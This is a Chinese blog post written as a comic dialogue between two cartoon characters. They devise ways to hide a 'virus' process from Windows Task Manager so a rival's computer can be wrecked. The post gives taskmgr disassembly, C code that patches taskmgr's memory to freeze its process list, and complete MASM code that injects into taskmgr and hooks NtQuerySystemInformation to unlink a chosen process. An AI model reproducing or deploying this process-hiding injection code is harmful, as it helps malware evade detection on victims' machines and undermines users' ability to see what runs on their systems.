閱讀748 返回首頁    go 阿裏雲 go 技術社區[雲棲]


[原創]和Taskmgr過不去篇(無厘頭版)

Hook入門級文章,主要想培養一下偶寫文章的感覺,老鳥無視…
我想看看技術文章能不能無厘頭的寫,如果效果不錯的話,準備更上一層-----

用我的原創漫畫表達。:)
 
(警告1:文章中有部分“限製級”詞語,請11歲以下弟弟妹妹誤入)
(警告2: 修正警告1,不是“誤入”,是“勿入”哦,我沒有做暗示哦…)

gf正義的hopy – 加菲

bao    邪惡的hopy – 阿寶

時間: 終結者2018年
場景: 地下泡泡澡堂

故事: 純屬虛構
 
在一場殘酷的西紅柿大戰後,最終邪惡阿寶使用卑鄙無恥的招數輕鬆戰勝了單純
的加菲,於是哥倆一起去地下廢墟澡堂泡澡。在沉默了一陣之後加菲忽然問了阿寶
一個恐怖的問題……
 
加菲:……你說我們倆身上的毛哪個值錢…
 
阿寶:%##$%@#$%#@%#@,你想錢想瘋啦……
 
加菲:最近手頭比較緊,有沒有活接?
 
阿寶:嘿嘿……搞定一個任務,鈔票大大滴。
 
加菲(口水狀):什麼呀?
 
阿寶:老比最近打麻將輸我200多,賴賬不肯還……
 
加菲:不會吧…人家是首富哦…
 
阿寶:沒辦法呀,windows賠老嘍,我準備把他的命根子毀了……
 
加菲:你這個流氓,我不跟你玩了…
 
阿寶:什麼啊!我指的是他的windows,你想哪去了…
 
加菲(迅速岔開話題):今天晚上太陽好亮哦…
 
阿寶(畫外音):#@$%#@%,我們倆到底誰邪惡…
 
加菲:怎麼毀呀?
 
阿寶:我搞了一個宇宙超級大病毒程序,隻要運行30分鍾保準他的命根子玩蛋!
隻要30分鍾內不被windows taskmgr發現…
 
加菲:你傻啊?人家不會用其他進程查看工具嘛?
 
阿寶:說你不懂了吧,老比亂搞壟斷,windows和taskmgr捆死了,其他
進程工具沒法運行呀,嘿嘿…自掘死路…
 
加菲:這還不簡單,做個rootkit在內核層把病毒進程隱藏起來不就行了。
 
阿寶:進不去RING0,隻能在用戶層搞……,有沒有其他辦法…
 
加菲:你超級病毒都能寫出來,這個不會寫?????
 
阿寶(-_-b):少廢話,你要不要鈔票了…
 
加菲:這個…
 
一炷香的功夫過去了…
 
阿寶:你到底想好了沒啊?
 
加菲:taskmgr顯示進程信息的控件是SysListView32,我想可以截獲顯示每一行
的消息,然後忽略顯示病毒進程的那一條消息…
 
阿寶:好啊…做一個dll植入taskmgr,然後SysListView32子類化到dll中的一個
消息處理函數,過濾特定進程的消息…
 
加菲:沒成功…可以截獲和過濾消息,但顯示老是會多出來一行…(可能是我
實現方法有問題,請看我以前發布的程序)
 
阿寶:那怎麼辦啊?
 
加菲:要不然這樣,做一個進程文本修改器,類似遊戲修改器中的自動修改變量,
隻不過這個變量是一個進程名,隻要找到病毒進程名字的文本,就將成其他混淆視
聽的名字(svchost.exe)。
 
阿寶:8錯,查找時要注意同時修改UNICODE的字符串哦…
 
加菲:成功了,因為兩個進程同時要寫一個內容,所以極少數時間裏可能會造成
病毒進程名漏出馬腳…
 
阿寶:嗯…病毒名有時會閃一下…進程數還是增加了…能不能幹脆徹底刪除這個
進程名而不是將其改成其他名字呢?
 
加菲:這個…
 
阿寶(舔和路雪冰淇淋):搞得怎麼樣了,有什麼新花樣呢?
 
加菲:如果你的超級病毒運行之後,就不準taskmgr 運行起來,如果已經運行起來
就將其關掉…
 
阿寶:這個不行,太招人顯眼了…
 
加菲:把taskmgr僵掉…
 
阿寶:你以為你是林正英啊???怎麼僵呢???
 
加菲:我剛才沒事用IDA玩了一下taskmgr的body,發現一個好玩的
UpdateProcInfoArray過程哦,上代碼(省略無關部分):

代碼:
public: long __thiscall CProcPage::UpdateProcInfoArray(void) proc near
mov     eax, dword_1016580
.text:0100CAD5                 shr     eax, 0Ah
.text:0100CAD8                 mov     ecx, eax
.text:0100CADA                 imul    ecx, [ebp+var_1FC]
.text:0100CAE1                 mov     [ebp+var_88], ecx
.text:0100CAE7                 mov     ecx, eax
.text:0100CAE9                 imul    ecx, [ebp+var_1F8]
.text:0100CAF0                 mov     edx, eax
.text:0100CAF2                 imul    edx, [ebp+var_1F0]
.text:0100CAF9                 mov     [ebp+var_74], ecx
.text:0100CAFC                 mov     ecx, eax
.text:0100CAFE                 imul    ecx, [ebp+var_1F4]
.text:0100CB05                 mov     [ebp+var_6C], edx
.text:0100CB08                 mov     edx, eax
.text:0100CB0A                 imul    eax, [ebp+var_1B4]
.text:0100CB11                 imul    edx, [ebp+var_1B8]
.text:0100CB18                 mov     [ebp+var_7C], eax
.text:0100CB1B                 add     eax, edx
.text:0100CB1D                 push    edi
.text:0100CB1E                 mov     [ebp+var_78], eax
.text:0100CB21                 push    24h
.text:0100CB23                 lea     eax, [ebp+var_F0]
.text:0100CB29                 push    eax
.text:0100CB2A                 push    15h
.text:0100CB2C                 mov     [ebp+var_70], ecx
.text:0100CB2F                 mov     [ebp+var_80], edx
.text:0100CB32                 mov     __int64 g_MEMMax, ecx
.text:0100CB38                 mov     dword_1016564, edi
.text:0100CB3E                 call    esi ; NtQuerySystemInformation(x,x,x,x)
.text:0100CB40                 test    eax, eax
.text:0100CB42                 jge     short loc_100CB4E
.text:0100CB42
.text:0100CB44
.text:0100CB44 loc_100CB44:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+4Bj
.text:0100CB44                                         ; CProcPage::UpdateProcInfoArray(void)+7Aj
.text:0100CB44                 mov     eax, 80004005h
.text:0100CB49                 jmp     loc_100CE7E
.text:0100CB49
.text:0100CB4E ; ---------------------------------------------------------------------------
.text:0100CB4E
.text:0100CB4E loc_100CB4E:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+EEj
.text:0100CB4E                 mov     eax, dword_1016580
.text:0100CB53                 shr     eax, 0Ah
.text:0100CB56                 imul    eax, [ebp+var_DC]
.text:0100CB5D                 mov     ecx, ebx
.text:0100CB5F                 mov     [ebp+var_84], eax
.text:0100CB65                 call    CProcPage::GetProcessInfo(void)
.text:0100CB65
.text:0100CB6A                 cmp     eax, edi
.text:0100CB6C                 mov     [ebp+var_58], eax
.text:0100CB6F                 jl      loc_100CE64
.text:0100CB6F
.text:0100CB75                 mov     [ebp+var_48], edi
.text:0100CB75
.text:0100CB78
.text:0100CB78 loc_100CB78:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+1EEj
.text:0100CB78                 mov     esi, [ebx+10h]
.text:0100CB7B                 add     esi, [ebp+var_48]
.text:0100CB7E                 mov     eax, [esi+44h]
.text:0100CB81                 cmp     eax, edi
.text:0100CB83                 jnz     short loc_100CB8E
.text:0100CB83
.text:0100CB85                 cmp     [esi+4], edi
.text:0100CB88                 jz      loc_100CC1D

 

加菲:注意 call CProcPage::GetProcessInfo(void) 這一行,進去看看:

代碼:
public: long __thiscall CProcPage::GetProcessInfo(void) proc near
.text:0100A6AF                                         ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+111p
.text:0100A6AF
.text:0100A6AF var_4           = dword ptr -4
.text:0100A6AF
.text:0100A6AF                 mov     edi, edi
.text:0100A6B1                 push    ebp
.text:0100A6B2                 mov     ebp, esp
.text:0100A6B4                 push    ecx
.text:0100A6B5                 push    ebx
.text:0100A6B6                 push    esi
.text:0100A6B7                 xor     ebx, ebx
.text:0100A6B9                 push    edi
.text:0100A6BA                 mov     edi, ds:GetProcessHeap()
.text:0100A6C0                 mov     esi, ecx
.text:0100A6C2                 mov     [ebp+var_4], ebx
.text:0100A6C2
.text:0100A6C5
.text:0100A6C5 loc_100A6C5:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+63j
.text:0100A6C5                 mov     eax, [esi+10h]
.text:0100A6C8                 cmp     eax, ebx
.text:0100A6CA                 jz      short loc_100A6F9
.text:0100A6CA
.text:0100A6CC                 push    ebx
.text:0100A6CD                 push    dword ptr [esi+14h]
.text:0100A6D0                 push    eax
.text:0100A6D1                 push    5
.text:0100A6D3                 call    ds:NtQuerySystemInformation(x,x,x,x)
.text:0100A6D9                 cmp     eax, ebx
.text:0100A6DB                 jge     short loc_100A71B
.text:0100A6DB
.text:0100A6DD                 cmp     eax, 0C0000004h
.text:0100A6E2                 jnz     short loc_100A723
.text:0100A6E2
.text:0100A6E4                 mov     eax, [esi+10h]
.text:0100A6E7                 cmp     eax, ebx
.text:0100A6E9                 jz      short loc_100A6F9
.text:0100A6E9
.text:0100A6EB                 push    eax             ; lpMem
.text:0100A6EC                 push    ebx             ; dwFlags
.text:0100A6ED                 call    edi ; GetProcessHeap()
.text:0100A6EF                 push    eax             ; hHeap
.text:0100A6F0                 call    ds:HeapFree(x,x,x)
.text:0100A6F6                 mov     [esi+10h], ebx
.text:0100A6F6
.text:0100A6F9
.text:0100A6F9 loc_100A6F9:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+1Bj
.text:0100A6F9                                         ; CProcPage::GetProcessInfo(void)+3Aj
.text:0100A6F9                 add     dword ptr [esi+14h], 1000h
.text:0100A700                 push    dword ptr [esi+14h] ; dwBytes
.text:0100A703                 push    ebx             ; dwFlags
.text:0100A704                 call    edi ; GetProcessHeap()
.text:0100A706                 push    eax             ; hHeap
.text:0100A707                 call    ds:HeapAlloc(x,x,x)
.text:0100A70D                 cmp     eax, ebx
.text:0100A70F                 mov     [esi+10h], eax
.text:0100A712                 jnz     short loc_100A6C5
.text:0100A712
.text:0100A714                 mov     [ebp+var_4], 8007000Eh
.text:0100A714
.text:0100A71B
.text:0100A71B loc_100A71B:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+2Cj
.text:0100A71B                                         ; CProcPage::GetProcessInfo(void)+7Bj
.text:0100A71B                 mov     eax, [ebp+var_4]
.text:0100A71E                 pop     edi
.text:0100A71F                 pop     esi
.text:0100A720                 pop     ebx
.text:0100A721                 leave
.text:0100A722                 retn
 

 

阿寶:喔歐...(移動廣告:3G時代...就說喔歐),這個比較明顯了,裏麵調用
了原生態API NtQuerySystemInformation(x,x,x,x)...

 
 
加菲:下麵偶來寫一個過程讓taskmgr僵住:

代碼:
#define MAGIC_ADDR 0x100cb65
static const byte VerFlag[] = {0xe8,0x45,0xdb,0xff,0xff};
bool stoptm(DWORD pid)
{
 bool bSuccess = false;
 HANDLE ph = 0;
 
 if(!pid)
 {
  puts("taskmgr not run!");
  goto QUIT;
 }
 
 ph = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
 if(!ph)
 {
  puts("can't open taskmgr!");
  goto QUIT;
 }
 
 byte fixbin[sizeof(VerFlag)];
 if(!ReadProcessMemory(ph,(LPCVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL))
 {
  puts("read mem failed!");
  goto QUIT;
 }
 
 if(memcmp(VerFlag,fixbin,sizeof(fixbin)))
 {
  puts("taskmgr isn't right ver!");
  goto QUIT;
 }
 
 memset(fixbin,0x90,sizeof(fixbin));
 if(!WriteProcessMemory(ph,(LPVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL))
 {
  puts("write mem failed!");
  goto QUIT;
 }
 
 bSuccess = true;
QUIT:
 if(ph)
  CloseHandle(ph);
 return bSuccess;
}

 
阿寶:我好像能看懂了,將對應的調用語句NOP掉,從而taskmgr無法再刷新
進程列表了...但這個不能對應不同版本的taskmgr吧?
 
加菲:這個...那是當然...
 
阿寶:你能不能給我個最終解決辦法啊...
 
加菲:沒辦法了...隻有用各個版本通殺技了,HOOk NtQuerySystemInformation , 
然後改變其返回內容。要注意的是我們隻需要HOOK 第一個參數為5的調用,
即Query係統進程信息,其他都不用理會。NtQuerySystemInformation 
獲取進程信息如果成功,將會返回一個數組,或者稱其為一個鏈表更準確。結構如下:

代碼:
typedef struct _SYSTEM_PROCESSES
{
ULONG     NextEntryDelta;     //構成結構序列的偏移量;
ULONG     ThreadCount;       //線程數目;
ULONG     Reserved1[6];     
LARGE_INTEGER CreateTime;       //創建時間;
LARGE_INTEGER UserTime;        //用戶模式(Ring 3)的CPU時間;
LARGE_INTEGER KernelTime;       //內核模式(Ring 0)的CPU時間;
UNICODE_STRING ProcessName;       //進程名稱;
KPRIORITY   BasePriority;      //進程優先權;
ULONG     ProcessId;       //進程標識符;
ULONG     InheritedFromProcessId; //父進程的標識符;
ULONG     HandleCount;       //句柄數目;
ULONG     Reserved2[2];
VM_COUNTERS  VmCounters;       //虛擬存儲器的結構,見下;
IO_COUNTERS  IoCounters;       //IO計數結構,見下;
SYSTEM_THREADS Threads[1];       //進程相關線程的結構數組,見下;
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
 

 
加菲:我要做的隻是在鏈表中查找需要隱藏進程的ID,然後將其剔除即可。
 
阿寶:怎麼剔除呢?
 
加菲:分2種情況,若PID出現在鏈表的的尾部則直接將上一個鏈表指向NULL,
否則需要將上一個結構的指針指向PID結構後麵一個結構,從而將其剔除,完整代碼如下:

 

代碼:
.386
.model flat, stdcall
option casemap:none
.nocref
.nolist
include  D:/work/masm32/include/windows.inc
include  D:/work/masm32/include/user32.inc
include  D:/work/masm32/include/kernel32.inc
.list
.listmacro
.listmacroall
IFNDEF UNICODE_STRING
 UNICODE_STRING struct
  _Length  WORD ?
  MaximumLength WORD ?
  Buffer  PWSTR ?
 UNICODE_STRING ends
 PUNICODE_STRING typedef ptr UNICODE_STRING
ENDIF
SPI struct
 NextOffset DWORD ?
   DWORD ?
 Times  QWORD 6 dup(?)
 ImageName UNICODE_STRING <?>
   DWORD ?
 ProcessId DWORD ?
 Reserved DWORD 7 dup(?)
SPI ends
PSPI typedef ptr SPI
  .const
szDll  db "ntdll.dll",0
szQSI_func db "NtQuerySystemInformation",0
  .code
;**********************************************************
RT_BIN_START equ $
 PID  DWORD ? ;要隱藏進程的pid
 pQSI_func DWORD ?
 pQSI_Next DWORD ?
 pBuf  DWORD ?
 pRetAddr DWORD ?
 pPreviousSPI PSPI 0
 dwEBX  DWORD ?
 ;ORGBIN  byte 5 dup(?)
 FIXBIN  byte 5 dup(?)
RT_CODE_OFFSET equ $ - RT_BIN_START
len0 textequ %RT_CODE_OFFSET
% echo RT_CODE_OFFSET is len0
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
myQSI_func proc
 mov ecx,ebx
 call @F
@@:
 pop ebx
 sub ebx,offset @B
 jmp DOIT
GoMaMa:
 mov eax,dword ptr [esp]
 mov dword ptr [esp + 4],eax
 pop eax
 ORGBIN byte 5 dup(?)
 jmp [ebx + pQSI_Next]
DOIT:
 mov dword ptr [ebx + dwEBX],ecx
 mov dword ptr [ebx + pBuf],0
 push dword ptr [esp]
 pop dword ptr [ebx + pRetAddr]
 .if dword ptr [esp + 4] == 5
  push dword ptr [esp+8]
  pop dword ptr [ebx + pBuf]
 .endif
 
 call GoMaMa
 ;調用原始QSI成功且是獲取SPIs的調用
 .if eax == 0 && dword ptr [ebx + pBuf] != 0
  assume eax:PSPI
  mov ecx,dword ptr [ebx + PID]
  mov eax,dword ptr [ebx + pBuf]
  .while TRUE
   .if [eax].ProcessId == ecx
    .if [eax].NextOffset == 0
     mov eax,[ebx + pPreviousSPI]
     mov [eax].NextOffset,0
    .else
     mov ecx,[eax].NextOffset
     mov eax,[ebx + pPreviousSPI]
     add ecx,[eax].NextOffset
     mov [eax].NextOffset,ecx
    .endif
    .break
   .endif
   .break .if [eax].NextOffset == 0
   push eax
   pop dword ptr [ebx + pPreviousSPI]
   add eax,[eax].NextOffset
  .endw
  assume eax:nothing
 .endif
 
 mov ecx,ebx
 mov ebx,[ebx + dwEBX]
 jmp [ecx + pRetAddr]
 ;ret
myQSI_func endp
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
RT_BIN_END equ $
RT_BIN_LEN equ RT_BIN_END - RT_BIN_START
T_BIN_LEN textequ %RT_BIN_LEN
% echo RT_BIN_LEN is T_BIN_LEN
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
hookQSIfunc proc C uses ebx edi esi ph:HANDLE,pid:DWORD
 local bSuccess,pRTBin,oldProtect
 
 mov bSuccess,FALSE
 .if pid == 0
  jmp QUIT
 .endif
 invoke VirtualProtect,offset RT_BIN_START,/
  T_BIN_LEN,PAGE_EXECUTE_READWRITE,/
  addr oldProtect
 .if !eax
  jmp QUIT
 .endif
 invoke LoadLibrary,addr szDll
 invoke GetProcAddress,eax,addr szQSI_func
 .if !eax
  jmp QUIT
 .endif
 mov pQSI_func,eax
 
 invoke VirtualAllocEx,ph,NULL,T_BIN_LEN,/
  MEM_COMMIT,PAGE_EXECUTE_READWRITE
 .if !eax
  jmp QUIT
 .endif
 mov pRTBin,eax
 
 invoke ReadProcessMemory,ph,pQSI_func,/
  addr ORGBIN,5,NULL
 .if !eax
  jmp QUIT
 .endif
 mov eax,pRTBin
 add eax,RT_CODE_OFFSET
 sub eax,pQSI_func
 sub eax,5
 mov byte ptr [FIXBIN],0E9h
 mov dword ptr [FIXBIN+1],eax
 
 mov eax,pQSI_func
 add eax,5
 mov pQSI_Next,eax
 push pid
 pop PID
 invoke WriteProcessMemory,ph,pRTBin,/
  offset RT_BIN_START,T_BIN_LEN,NULL
 .if !eax
  jmp QUIT
 .endif
 invoke WriteProcessMemory,ph,pQSI_func,/
  addr FIXBIN,5,NULL
 .if !eax
  jmp QUIT
 .endif
 
 mov bSuccess,TRUE
QUIT:
 .if pRTBin
  ;invoke VirtualFreeEx,ph,pRTBin,/
   ;T_BIN_LEN,MEM_RELEASE
 .endif
 mov eax,bSuccess
 ret
hookQSIfunc endp
;**********************************************************
 end

 
阿寶:你好像是HOOK之後,直接將以上代碼拷貝到taskmgr.exe進程空間中,
等待其自動調用,是嗎?
 
加菲:沒錯,拷貝功能的函數即是hookQSIfunc,當然這要首先保證taskmgr在運行:
 

代碼:
//檢查taskmgr.exe當前是否在運行
DWORD findtm(void)
{
 DWORD pid = 0;
 
 PROCESSENTRY32 process = {.dwSize=sizeof(PROCESSENTRY32)};
 HANDLE hss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 Process32First(hss,&process);
 while(Process32Next(hss,&process))
 {
  if(!strcmp(process.szExeFile,"taskmgr.exe"))
  {
   pid = process.th32ProcessID;
   break;
  }
 }
 
 CloseHandle(hss);
 return pid;
}

 
阿寶(暗笑):是這樣啊...嘿嘿
 
加菲(聚精會神地):這樣一來無論哪個版本的taskmgr,隻要獲取機製沒有變,
都可以搞定了,嗬嗬...終於搞定了...那個報酬怎麼算...(回頭),人呢???

 

阿寶(全裸速逃中...)

 

加菲:阿寶,你竟然敢欺騙偶的感情....

 

憤怒的加菲製造了N個加菲貓終結者T1300型追殺阿寶,至於阿寶能否逃脫,

這是另一個故事了哦。


 
(PS1:使用了電影分鏡頭劇本結構,適合改編為cartoon或flash之類的咚咚,結尾不是很好,修改中)

(PS2: 場景的選擇是從剛看完的終結者2018獲得的。)

最後更新:2017-04-02 03:42:36

  上一篇:go 基於xfire的web service開發例子
  下一篇:go 多核時代:並行程序設計探討(3)——Windows和Linux對決(多進程多線程)